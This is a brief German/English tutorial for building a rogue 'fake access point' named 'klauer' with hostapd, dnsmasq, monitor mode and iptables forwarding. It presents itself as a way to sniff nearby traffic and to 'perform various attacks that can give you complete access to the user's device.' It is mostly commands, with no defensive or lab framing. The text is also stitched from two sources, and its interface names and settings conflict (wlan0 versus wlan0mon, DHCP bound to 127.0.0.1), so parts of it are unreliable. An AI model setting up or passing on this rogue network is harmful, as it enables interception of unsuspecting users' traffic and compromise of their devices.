Fake Access Point
Installation
- Wir brauchen die Software für den Accesspoint sowie eine Light Version von Name und DHCP Server
- apt update
- apt install hostapd dnsmasq
Vorbereitung
- Wir müssen den WLAN Adapter in den Überwachungsmodus versetzen, damit wir die Pakete im und um das Netzwerk herum schnüffeln können.
- ifconfig wlan0 down
- iwconfig wlan0 mode monitor
- ifconfig wlan0 up
Wir erstellen eine Verzeichnis für unsere Konfig Dateien
- mkdir /root/fap
- cd /root/fap
Die Accesspoint Konfiguration
- vi hostapd.conf
interface=wlan0 driver=nl80211 ssid=klauer hw_mode=g channel=6 macaddr_acl=0 ignore_broadcast_ssid=0
Bedeutung
- interface: Name der Schnittstelle.
- driver: Der Treiber der Karte
- ssid: Der Netzwerkname
- hw_mode=g : Das Band welches wir nutzen.
- channel: Der Kanal den wir nutzen
- macaddr_acl=0: Wir wollen keine ACLs
- ignore_broadcast_ssid=0 : Die SSID soll sichtbar sein.
interface=wlan0mon dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h dhcp-option=3, 192.168.1.1 dhcp-option=6, 192.168.1.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1
dhcp-range: IP address range for the connected network clients. 12h is the amount of hours until the lease expires.
dhcp-option=3: Gateway IP for the networks.
dhcp-option=6: For DNS Server followed by IP address
server: DNS server’s address
log-queries: Log the results of DNS queries handled by dnsmasq.
log-dhcp: Log all the options sent to DHCP clients and the tags used to determine them.
listen-address: Links the DHCP to the local IP address which is 127.0.0.1.
Now we need to assign the interface a network gateway and netmask and then add the routing table.
ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 Start the DNS server by doing:
dnsmasq -C dnsmasq.conf -d
STEP 8:
To provide the users with internet access, we need to forward traffic from eth0, the virtual wireless adapter that is connected to the internet, to wlan0mon. This will help you perform various attacks that can give you complete access to the user’s device. If you don’t want the users to have internet access, skip this step.
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface wlan0mon -j ACCEPT First command: Interface name that is used to forward traffic from. Second command: Interface name to receive the packets or the interface that is being forwarded to. Now execute this command to enable IP Forwarding:
echo 1 > /proc/sys/net/ipv4/ip_forward